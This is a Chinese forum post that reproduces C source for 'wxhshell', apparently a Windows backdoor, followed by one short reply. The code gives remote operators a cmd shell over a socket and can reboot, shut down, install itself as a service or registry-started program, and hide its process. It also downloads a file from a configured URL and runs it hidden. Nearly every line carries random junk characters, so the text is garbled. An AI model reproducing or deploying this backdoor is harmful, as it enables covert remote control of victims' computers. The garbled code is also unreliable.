  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D*_ F@}=  
  else I%p Q2T$;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fa@#nY|UV3  
  } $D8KEkW  
  else { Qb9) 1  
vzs6YsA  
    switch(cmd[0]) { )WuuU [(  
  <g,xc)[  
  // 帮助 Bxz{rR0XV  
  case '?': { -08Ys c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h&[!CtPm  
    break; )V~<8/)  
  } DR^mT$  
  // 安装 H| IsjCc  
  case 'i': { rt t?4  
    if(Install()) 3Qn! `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b abDLaC@  
    else Fx)]AJ~[t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +)Z,%\)Z  
    break; D3BX[  
    } Sd}fse  
  // 卸载 B*K%&w10~  
  case 'r': { /|BzpIfpN  
    if(Uninstall()) V?%>Ex$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "RZ)pav?  
    else aU5t|S6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #_4L/LV  
    break; `7+?1 z  
    } 67Ge}6*2pd  
  // 显示 wxhshell 所在路径 hF!yp7l;  
  case 'p': { p8o%H-Xk  
    char svExeFile[MAX_PATH]; }?8KFe7U  
    strcpy(svExeFile,"\n\r"); R3%T}^;f  
      strcat(svExeFile,ExeFile); ,O $F`0>9A  
        send(wsh,svExeFile,strlen(svExeFile),0); 4jO~kcad  
    break; ]TqcV8Q~  
    } h.=YAcR0D  
  // 重启 9sJbz=o]r  
  case 'b': { 2{#*z%|z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m6aoh^I  
    if(Boot(REBOOT)) -mcLT@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C[<&% =  
    else { TkmN.@w_C  
    closesocket(wsh); Za4 YD  
    ExitThread(0); C n4|qX"&t  
    } K\=bpc"Fy  
    break; bbS'ZkB\  
    } eBtkTWx5[/  
  // 关机 u[fQvdl  
  case 'd': { Cg8{NNeD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Oj~k1+*  
    if(Boot(SHUTDOWN)) @q[-,EA9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KiH#*u S  
    else { gO_^{>2  
    closesocket(wsh); }MuXN<DDb  
    ExitThread(0); v#=WdaNz  
    } tE<L4;t  
    break; _/ P"ulNb  
    } ^J\)cw  
  // 获取shell xLq+n jH E  
  case 's': { {Yv |C)O  
    CmdShell(wsh); cidS/OH  
    closesocket(wsh); -&@[]/  
    ExitThread(0); 29x "E$e  
    break; Q Gn4AW_  
  } />.&  
  // 退出 7u o4F= %  
  case 'x': { mpK|I|-   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t[)z/[ m  
    CloseIt(wsh); x8tRa0-q  
    break; )<IbQH|_  
    } ]N2'L!4|;  
  // 离开 `[57U,v  
  case 'q': { ;,@3bu>r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ba!`x<wa  
    closesocket(wsh); 2ggW4`"c  
    WSACleanup(); /.7x[Yc  
    exit(1); pl|< g9  
    break; m S!/>.1[  
        } +~8/7V22  
  } YWd:Ok0  
  } =]U[   
V4/eGh_T  
  // 提示信息 ,Sghi&Ky  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F''4j8  
} z8vF QO\I"  
  } Xqf"Wx(X  
 nPvR  
  return; 1[u{3lQ  
} $5%tGFh  
!OC?3W:^_  
// shell模块句柄 T-f+<Cxf  
int CmdShell(SOCKET sock) QBai;p{  
{ YPGn8A  
STARTUPINFO si; .Uha%~%  
ZeroMemory(&si,sizeof(si)); aH,0+|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lt5~rH2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =xai 7iM  
PROCESS_INFORMATION ProcessInfo; U>ob)-tl  
char cmdline[]="cmd"; \muyL?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B~LB^ n(>@  
  return 0; -wvJZ  
} M /Bn^A8@  
pd>EUdbrp&  
// 自身启动模式 BU]9eF!>h  
int StartFromService(void) @*A(#U8p3  
{ O_(J',++  
typedef struct )k0bP1oGS  
{ /HI#8  
  DWORD ExitStatus; SYa!IL-B  
  DWORD PebBaseAddress; 2R:['QT  
  DWORD AffinityMask; _EjS(.e/=  
  DWORD BasePriority; /`:5#O  
  ULONG UniqueProcessId; _pjpPSV6J  
  ULONG InheritedFromUniqueProcessId; s:wLEj+  
}   PROCESS_BASIC_INFORMATION; cg$7`/U  
#HM0s~^w&  
PROCNTQSIP NtQueryInformationProcess; [u,B8DX  
RrKs!2sCT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B7N?"'$i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EDL<J1%  
J cvK]x  
  HANDLE             hProcess; gLd3,$ Ei  
  PROCESS_BASIC_INFORMATION pbi; J=zh+oLCV  
+#'exgGU^[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a+r0@eFLc  
  if(NULL == hInst ) return 0; V"T;3@N/4  
yBs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Il*wVNrZI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VGq2ITg9eE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |CStw"Fog  
d=H C;T)  
  if (!NtQueryInformationProcess) return 0; i#(T?=VPcy  
(fY(-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6Dw[n   
  if(!hProcess) return 0; ~;Xdz/  
.NwHr6/s*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y;sr# -L  
0'RSl~QvqS  
  CloseHandle(hProcess); 4*F+-fu  
u_zp?Nc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IjJ3CJ<  
if(hProcess==NULL) return 0; <@@.~Qm'  
83)2c a  
HMODULE hMod; YujhpJ<  
char procName[255]; UO>p-M  
unsigned long cbNeeded; 2Hy$SSH  
~(4cnD)BO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o`hF1*yp  
R &T(S  
  CloseHandle(hProcess); Q 4_j`q  
wArNWBM  
if(strstr(procName,"services")) return 1; // 以服务启动 `4(k ?Pk2  
-zG/@.  
  return 0; // 注册表启动 "mHSbG  
} pkBmAJb@  
a?\ Au  
// 主模块 V4ayewVX  
int StartWxhshell(LPSTR lpCmdLine) M^k~w{   
{ +r4^oT[-  
  SOCKET wsl; 8 :Z3Q  
BOOL val=TRUE; viY _Y.Yjy  
  int port=0; F9-xp7 T  
  struct sockaddr_in door; 8Qek![3^  
f>l}y->-Ug  
  if(wscfg.ws_autoins) Install(); ^EM##Ss_  
k((_~<$2K  
port=atoi(lpCmdLine); v:s~Y  
[ V/*{Z  
if(port<=0) port=wscfg.ws_port; b.;F)(  
ks 3<zW(  
  WSADATA data; mi<V(M~p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b^6Ooc/-k  
}|AUV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %'k^aq FL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M(I 2M  
  door.sin_family = AF_INET; g2w0#-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b@z/6y!  
  door.sin_port = htons(port); z9'ME   
~qco -b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y$K!g&lGA  
closesocket(wsl); Fag%#jxI  
return 1; 1Cp5a2{  
} D{ @x  
F.^1|+96  
  if(listen(wsl,2) == INVALID_SOCKET) { >$?$&+e}  
closesocket(wsl); b!ot%uZZ  
return 1; q\[f$==p  
} >%'|@75K  
  Wxhshell(wsl); /nGsl<  
  WSACleanup(); hJ+>Xm@@!  
9q;+ Al^Z  
return 0; ^hRos  
lUUeM\  
} |4ONGU*`E  
X0Xs"--}  
// 以NT服务方式启动 G\|VTqu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {b= ]JPE  
{ 2c_#q1/Z/  
DWORD   status = 0; vX/~34o]\  
  DWORD   specificError = 0xfffffff; ?psvhB{O  
UR:cBr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zD7\Gv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kImS'i{A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '-S^z"ZrI  
  serviceStatus.dwWin32ExitCode     = 0; u ;f~  
  serviceStatus.dwServiceSpecificExitCode = 0; Z &/b p1  
  serviceStatus.dwCheckPoint       = 0; .)ZK42Qd  
  serviceStatus.dwWaitHint       = 0; !imm17XQ\  
lLS`Ln)"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *";,HG?|Iz  
  if (hServiceStatusHandle==0) return; Ql3hq.E  
~t.*B& A  
status = GetLastError(); 8;-a_VjA)  
  if (status!=NO_ERROR) &0*j nb  
{ x.xfMM2n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D CcM~  
    serviceStatus.dwCheckPoint       = 0; '8}*erAg  
    serviceStatus.dwWaitHint       = 0; ja#E}`wC4  
    serviceStatus.dwWin32ExitCode     = status; =Y?M#3P.I  
    serviceStatus.dwServiceSpecificExitCode = specificError; RU>T?2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WENPS*0oS]  
    return; ZG H2  
  } 7rbl+:y2  
^<.mUaP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?8)_,  
  serviceStatus.dwCheckPoint       = 0; o} YFDYi  
  serviceStatus.dwWaitHint       = 0; |!aMj8i2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jp=ur)Dj  
} E,>/6AU  
@s b\0}  
// 处理NT服务事件,比如:启动、停止 VSL6tQp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G= !Gy.  
{ (6L[eWuTn  
switch(fdwControl) {%)bxk6  
{ fnN"a Z  
case SERVICE_CONTROL_STOP: gp$oQh#37;  
  serviceStatus.dwWin32ExitCode = 0; wtu WzHrF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :1PT`:Y  
  serviceStatus.dwCheckPoint   = 0; 1I<D `H%  
  serviceStatus.dwWaitHint     = 0; D[-V1K&g  
  { ^} %Oq P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Ke4lO"  
  } :{E;*v_!v  
  return; Dny5X.8  
case SERVICE_CONTROL_PAUSE: V{HP8f91  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g0: mm,t\  
  break; 2bPrND\P=  
case SERVICE_CONTROL_CONTINUE: 2E9Cp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #tRLvOR:  
  break; t5\~Z}G8  
case SERVICE_CONTROL_INTERROGATE: mg;+Th &  
  break; C{`+h163\  
}; )[.FUx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jSsbLa@  
} :,h47'0A  
PmZ-H>  
// 标准应用程序主函数 K.Nun)<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7hlgm7 ^  
{ n{s `XyH  
.J6Oiv.E  
// 获取操作系统版本 qL/4mM0  
OsIsNt=GetOsVer(); 6}qp;mR E]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O-[lL"T  
K?+iu|$ &  
  // 从命令行安装 *yN+Xm8o  
  if(strpbrk(lpCmdLine,"iI")) Install(); \DI%/(?  
5 ?~ ?8Hi  
  // 下载执行文件 d9^ uEz(  
if(wscfg.ws_downexe) { u 0(H!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5(W`{{AW  
  WinExec(wscfg.ws_filenam,SW_HIDE); $p#)xx7  
} \dO9nwa?  
52 ? TLID  
if(!OsIsNt) { u,mC`gz  
// 如果时win9x,隐藏进程并且设置为注册表启动 > `R}ulz)  
HideProc(); ebxpKtEC  
StartWxhshell(lpCmdLine); (RW02%`jjy  
} iG()"^G  
else ~>2@55wElp  
  if(StartFromService()) !ba /] A/  
  // 以服务方式启动 Cbv$O o*  
  StartServiceCtrlDispatcher(DispatchTable); }pxMO? h$  
else e<2?O  
  // 普通方式启动 A\nL(Nd  
  StartWxhshell(lpCmdLine); r%\(5H f  
$ lz\t e  
return 0; *8{PoD   
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五